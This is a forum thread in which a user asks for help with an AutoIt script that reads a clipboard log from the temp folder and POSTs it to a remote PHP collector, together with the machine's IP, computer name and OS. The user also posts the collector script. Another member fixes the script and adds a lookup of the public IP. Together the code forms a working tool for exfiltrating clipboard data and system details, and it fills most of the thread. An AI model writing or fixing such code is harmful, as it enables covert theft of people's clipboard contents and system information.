Thread: [Help sending txt file data over POST](#)

topLevel - January 26, 2014, 12:32 pm

```
Code $ip = @IPAddress1
```

```
$name = @ComputerName
```

```
$os = @OSVersion
```

```
$file = "file.log"
```

```
$infoss = FileOpen($file)
```

```
$infos = FileRead($infoss)
```

```
;Info Gathering
```

```
$serverdata = 'ip=' & $ip & '&computer=' & $name & '&os=' & $os & 'clpbrd=' & $infos
```

```
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
```

```
$oHTTP.Open("POST", "-----urlto server.php-----", False)
```

```
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
```

```
$oHTTP.Send($serverdata)
```

```
FileClose($infos)
```

```
This is my Autoit
```

Now The Sever.php

```
Code <?php
```

```
#receive data
```

```
$ip = $_POST['ip'];
```

```
$os = $_POST['os'];
```

```
$name = $_POST['computer'].PHP_EOL;
```

```
$clpbrd = $_POST['clpbrd'].PHP_EOL;
```

```
$ipname = "".$ip.".txt";
```

```
$ccTime = date(Time);
```

```
$cTime = $ccTime.PHP_EOL;
```

```
$fc = fopen($ipname, 'a');
```

```
fwrite($fc, 'IP:'.$ip.':OS:'.$os.':COMPUTER NAME:'.$name.':TEXT:'.$clpbrd.':TIME:'.$cTime);
```

```
fclose($fc);
```

```
?>
```

The resulting data

```
Code IP:0.0.0.0:OS::COMPUTER NAME:J-PC
```

```
:TEXT:
```

:TIME:CET2401Europe/Berlin
It all works BUT the file contents WTF??

thanks for any help

OK resolved that issue :S:S

but now i have another?

Code While 1

```
$ip = @IPAddress1
```

```
$name = @ComputerName
```

```
$os = @OSVersion
```

```
$infozname = @TempDir & "\clip.log"
```

```
$infoz = FileOpen($infozname)
```

```
$clbdata = 'ip=' & $ip & '&computer=' & $name & '&os=' & $os & '&clpbrd=' & $infoz
```

```
$oHTTP = ObjCreate("winhttp.winhttprequest.5.1")
```

```
$oHTTP.Open("POST", "-----/server.php", False)
```

```
$oHTTP.SetRequestHeader("Content-Type","application/x-www-form-urlencoded")
```

```
$oHTTP.Send($clbdata)
```

```
FileClose($infoz)
```

```
Wend
```

the info doesnt get sent?

BoomShot - January 28, 2014, 11:52 pm

I've fixed the script for you.

You were missing a FileRead on the file that you wanted to send the data from.

Also, there was no need for a loop in this script.

I also improved the script to actually send the IP address of the user. Unless of course you wanted the other one which you can just use that instead.

Code #include <Inet.au3>

```
$ip = _GetIP ()
```

```
$name = @ComputerName
```

```
$os = @OSVersion
```

```
$infozname = @TempDir & "\clip.log"
```

```
$infoz = FileRead ($infozname)
```

```
$clbdata = 'ip=' & $ip & '&computer=' & $name & '&os=' & $os & '&clpbrd=' & $infoz
```

```
$oHTTP = ObjCreate ("winhttp.winhttprequest.5.1")
```

```
$oHTTP.Open ("POST", "your website here/server.php", False)
```

```
$oHTTP.SetRequestHeader ("Content-Type","application/x-www-form-urlencoded")
```

`$oHTTP.Send ($clbdata)`

Tadoe - *January 30, 2014, 10:52 pm*

Your missing a simple whitespace thats all.

Yes thanks guys much has happened since this thread.

i made this into a multipart/form-data (uploading) script

i made a thread for it...
